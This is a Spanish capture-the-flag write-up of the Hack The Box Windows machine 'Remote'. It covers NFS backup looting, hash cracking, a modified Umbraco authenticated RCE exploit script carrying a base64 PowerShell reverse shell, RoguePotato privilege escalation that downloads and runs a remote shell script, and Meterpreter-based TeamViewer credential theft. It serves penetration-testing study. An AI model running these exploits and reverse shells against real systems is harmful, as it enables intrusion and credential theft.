Remote

Publicado: 16 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Remote es una máquina Windows de dificultad Easy que presenta múltiples vectores de ataque interesantes. La máquina ejecuta un CMS Umbraco vulnerable y expone servicios como FTP anónimo, SMB y NFS. El acceso inicial se logra a través de la enumeración del servicio NFS que expone backups del sitio web, permitiendo extraer credenciales del CMS. Una vez autenticado en Umbraco, se explota una vulnerabilidad de RCE para obtener una shell. La escalada de privilegios se puede realizar mediante el abuse del token SeImpersonatePrivilege usando RoguePotato, o alternativamente explotando credenciales almacenadas de TeamViewer.
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.180
PING 10.10.10.180 (10.10.10.180) 56(84) bytes of data.
64 bytes from 10.10.10.180: icmp_seq=1 ttl=127 time=41.5 ms
64 bytes from 10.10.10.180: icmp_seq=2 ttl=127 time=43.7 ms
--- 10.10.10.180 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 41.538/42.602/43.667/1.064 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.180 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680
🛠️ Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.180 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 08:36 CEST
Nmap scan report for 10.10.10.180
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nlockmgr 1-4 (RPC #100021)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-16T06:37:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: 1s
🎯 Enumeración de Servicios
🌐 HTTP (Puerto 80)
Encontramos un sitio web que parece ser una tienda que está empleando el CMS Umbraco:


🔨 Fuzzing de directorios
Realizamos fuzzing con gobuster y encontramos algunos recursos interesantes:
gobuster dir -u http://10.10.10.180 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -b 403,404 -x .php, .txt, .xml -r

🚪 Panel de administración
El recurso Install nos redirige a un panel de administración del CMS:
http://10.10.10.180/umbraco/#/login

### 📁 SMB (Puerto 445)
🔓 Sesión nula SMB
smbclient -N -L //10.10.10.180

enum4linux 10.10.10.180
❌ Resultado: No obtenemos nada, parece que no está habilitada la sesión anónima de SMB
🗂️ NFS (Puerto 2049)
📋 Enumeración de recursos compartidos
Listamos acciones disponibles sobre el servicio NFS:
showmount -e 10.10.10.180
Encontramos un recurso llamado /site-backups

💾 Montaje y exploración
Creamos un directorio donde montar el recurso en nuestro host de ataque y lo exploramos:
mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
cd target-NFS
tree .
🔍 Análisis: Se trata de una copia de seguridad completa del sitio web que está empleando el CMS Umbraco.
🔑 Búsqueda de credenciales

🗃️ Base de datos: Las credenciales se están guardando en el fichero Umbraco.sdf
, que es un archivo binario. Lo analizamos con strings:
Podemos ver que se trata de una copia de seguridad completa del sitio web que hemos enumerado anteriormente que está empleando el CMS Umbraco. Revisamos a ver si encontramos alguna credencial:

Las credenciales se están guardando en el fichero Umbraco.sdf, el problema es que este fichero es un binario, así que necesitamos intentar leerlo de la siguiente forma:
strings Umbraco.sdf | grep "admin"

🎯 Credenciales encontradas:
Usuario:
admin@htb.local
Hash SHA-1:
b8be16afba8c314ad33d812f22a04991b90e2aaa
Intenteamos crackear el hash con hashcat usando el diccionario rockyou:
hashcat -m 100 admin_hash_sha1 /usr/share/wordlists/rockyou.txt

✅ Credenciales válidas: admin@htb.local:baconandcheese
🚀 Explotación Inicial
🔐 Acceso al panel de Umbraco

🔍 Identificación de la versión

🚨 Vulnerabilidad detectada: Esta versión es vulnerable a Remote Code Execution
Exploit público disponible: https://www.exploit-db.com/exploits/46153
Modificamos el exploit para que el payload sea una reverse shell mediante una conexión powershell codificada en base64
# Exploit Title: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
# Modified with reliable PowerShell reverse shell
# Original Author: Alexandre ZANNI (noraj)
# Improved by: [Your Name]
import requests
import base64
import argparse
from bs4 import BeautifulSoup
parser = argparse.ArgumentParser(prog='exploit.py',
description='Umbraco authenticated RCE',
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
parser.add_argument('-u', '--user', metavar='USER', type=str,
required=True, dest='user', help='username / email')
parser.add_argument('-p', '--password', metavar='PASS', type=str,
required=True, dest='password', help='password')
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
dest='url', help='root URL')
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=False,
dest='command', help='command')
parser.add_argument('-r', '--reverse', metavar='IP:PORT', type=str, required=False,
dest='reverse', help='Reverse shell IP:PORT (uses PowerShell)')
args = parser.parse_args()
# Verificar que se proporcione al menos un comando o reverse shell
if not args.command and not args.reverse:
parser.error('You must provide either --command or --reverse')
# Construir el payload según el modo
if args.reverse:
ip, port = args.reverse.split(':')
# PowerShell reverse shell encoded (more reliable)
ps_command = f"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
# Encode to Base64 to avoid special characters issues
encoded_cmd = base64.b64encode(ps_command.encode('utf-16le')).decode()
payload = f"""\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() {{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = "-enc {encoded_cmd}"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }} </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
"""
else:
# Payload original para comandos simples
payload = """\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() {{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "{0}"; proc.StartInfo.Arguments = "{1}"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }} </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
""".format(args.command.split(' ')[0], ' '.join(args.command.split(' ')[1:]) if ' ' in args.command else '')
# Configuración de la sesión
s = requests.session()
login_url = args.url + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
xslt_url = args.url + "/umbraco/developer/Xslt/xsltVisualize.aspx"
# Autenticación
try:
login_response = s.post(login_url, json={"username": args.user, "password": args.password})
if login_response.status_code != 200:
print("[-] Authentication failed")
exit(1)
except Exception as e:
print(f"[-] Connection error: {str(e)}")
exit(1)
# Obtener tokens para el formulario
try:
xslt_response = s.get(xslt_url)
soup = BeautifulSoup(xslt_response.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
except Exception as e:
print(f"[-] Error getting form tokens: {str(e)}")
exit(1)
# Preparar datos del formulario
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
data = {
"__EVENTTARGET": "",
"__EVENTARGUMENT": "",
"__VIEWSTATE": VIEWSTATE,
"__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
"ctl00$body$xsltSelection": payload,
"ctl00$body$contentPicker$ContentIdValue": "",
"ctl00$body$visualizeDo": "Visualize+XSLT"
}
# Ejecutar el payload
try:
print("[*] Sending payload...")
exploit_response = s.post(xslt_url, data=data, headers=headers, timeout=30)
if args.reverse:
print("[+] PowerShell reverse shell triggered. Check your listener!")
else:
soup = BeautifulSoup(exploit_response.text, 'html.parser')
result = soup.find(id="result")
if result:
print(result.getText())
else:
print("[+] Command executed but no output returned (check if command produces output)")
except Exception as e:
print(f"[-] Exploit failed: {str(e)}")
🎯 Ejecución del exploit
python umbraco_exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -r 10.10.14.8:9001

Capturamos la flag del usuario Public

🔝 Escalada de Privilegios
🛡️ Enumeración de privilegios
Revisamos los privilegios de nuestro usuario actual:
whoami /priv

🎯 Privilegio clave: Tenemos SeImpersonatePrivilege
, perfecto para usar exploits tipo Potato.
⚠️ Nota importante: Es Windows Server 2019, por lo que JuicyPotato no funcionará, pero RoguePotato o JuicyPotatoNG sí.

https://github.com/antonioCoco/RoguePotato/releases
🥔 Método 1: RoguePotato
Descargamos una copia de RoguePotato.exe y lo disponibilizamos en nuestro host de ataque a través de un servidor web en python:
python3 -m http.server 80
Lo transferimos al host que intentamos comprometer
wget http://10.10.14.8/RoguePotato.exe -outfile RoguePotato.exe
Descargamos el script de powershell de nishang:
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Lo editamos y añadimos al final del todo nuestro payload para la conexión reversa indicando nuestro host de ataque y el puerto. Haremos que también esté disponible en nuestro servidor web en python.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 443

A continuación iniciaremos socat, en nuestro host de ataque para que escuche en el puerto 135 y redireccione al puerto TCP 9999:
socat tcp-listen:135,reuseaddr,fork tcp:10.10.10.180:9999
A continuación iniciamos un listener en nuestro host de ataque en el puerto 443:
rlwrap nc -lnvp 443
Por último ejecutamos el exploit en el host víctima de la siguiente forma:
.\RoguePotato.exe -r 10.10.14.8 -e "powershell -c iex( iwr http://10.10.14.8/shell.ps1 -UseBasicParsing )" -l 9999

Tal como se ve en la imagen anterior, el exploit se ejecuta correctamente y ejecuta el payload de la shell de nishang que hemos modificado para que se conecte a nuestro host de ataque ganando privilegios como usuario NT:
Finalmente capturamos la flag:

Enlace de referencia:https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html
🎭 Método Alternativo: TeamViewer
🔍 Enumeración de servicios
Cuando ganamos acceso inicial, enumeramos servicios en ejecución:
Get-Service | Where-Object { $_.Status -eq 'Running' }

🚨 Vulnerabilidad identificada
CVE-2019-18988: Esta versión es vulnerable y existe un módulo de Metasploit.
Pero antes, deberemos ganar una sesión de meterpreter, para ello podemos generar un payload con msfvenom, transferirlo a la víctima y ejecutarlo
🎛️ Configuración de Metasploit
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 10.10.14.8
set lport 9443
🔄 Generación de payload Meterpreter
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.10.14.8 lport=9443 -f exe -o exploit.exe
🔑 Extracción de credenciales
use post/windows/gather/credentials/teamviewer_passwords
set session 1
exploit

Ahora podríamos validarlas haciendo lo siguiente:
impacket-psexec administrator:'!R3m0te!'@10.10.10.180
![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Remote/24.png]]
Last updated